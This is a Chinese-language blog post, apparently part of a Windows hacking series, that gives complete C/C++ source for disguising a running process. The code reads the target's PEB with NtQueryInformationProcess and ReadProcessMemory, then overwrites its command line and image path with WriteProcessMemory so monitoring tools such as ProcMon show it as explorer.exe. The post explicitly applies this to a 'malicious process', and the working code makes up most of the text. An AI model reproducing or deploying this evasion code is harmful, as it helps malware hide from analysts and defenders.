Windows黑客编程之进程伪装

描述

  • 通过NtQueryInformation函数获取进程信息,并修改peb参数,可以欺骗ProcMon等查看进程信息的工具,将其伪装成一个看起来无害的进程

代码

实现

  • NtQueryInformationProcess获取进程信息
  • ReadProcessMemory获取指向peb参数的指针
  • WriteProcessMemory通过peb参数指针写入伪造的值
#include "stdafx.h"
#include "DisguiseProcess.h"


void ShowError(char* pszText)
{
	char szErr[MAX_PATH] = { 0 };
	::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
	::MessageBox(NULL, szErr, "ERROR", MB_OK);
}

BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd)
{
	HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
	if (NULL == hProcess)
	{
		ShowError("OpenProcess");
		return FALSE;
	}

	typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;
	PROCESS_BASIC_INFORMATION pbi = { 0 };
	PEB peb = { 0 };
	RTL_USER_PROCESS_PARAMETERS Param = { 0 };
	USHORT usCmdLen = 0;
	USHORT usPathLen = 0;

	NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(
		::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");
	if (NULL == NtQueryInformationProcess)
	{
		ShowError("GetProcAddress");
		return FALSE;
	}

	NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
	if (!NT_SUCCESS(status))
	{
		ShowError("NtQueryInformationProcess");
		return FALSE;
	}

	::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
	::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);

	usCmdLen = 2 + 2 * ::wcslen(lpwszCmd);
	::WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, usCmdLen, NULL);
	::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &usCmdLen, sizeof(usCmdLen), NULL);

	usPathLen = 2 + 2 * ::wcslen(lpwszPath);
	::WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, usPathLen, NULL);
	::WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &usPathLen, sizeof(usPathLen), NULL);

	return TRUE;
}

调用

  • 伪装成explorer进程
#include "stdafx.h"
#include "DisguiseProcess.h"

int _tmain(int argc, _TCHAR* argv[])
{
	if (FALSE == DisguiseProcess(7120, L"C:\\Windows\\explorer.exe", L"explorer.exe"))
	{
		printf("Dsisguise Process Error.\n");
	}
	printf("Dsisguise Process OK.\n");

	system("pause");
	return 0;
}

注意

  • 一定要区分指针指向的是本进程空间还是目标进程空间,如果是指向其它进程,则一律使用ReadProcessMemory和WriteProcessMemory进行数据读写
  • ReadProcessMemory和WriteProcessMemory的两个参数都是指针类型,因此如果需要读写整形变量,实参前需要加上取地址符

结果

  • 恶意进程伪装前,查看ProcMon进程信息
  • 恶意进程伪装后,查看ProcMon进程信息
posted @ 2023-02-25 12:57  z5onk0  阅读(156)  评论(0编辑  收藏  举报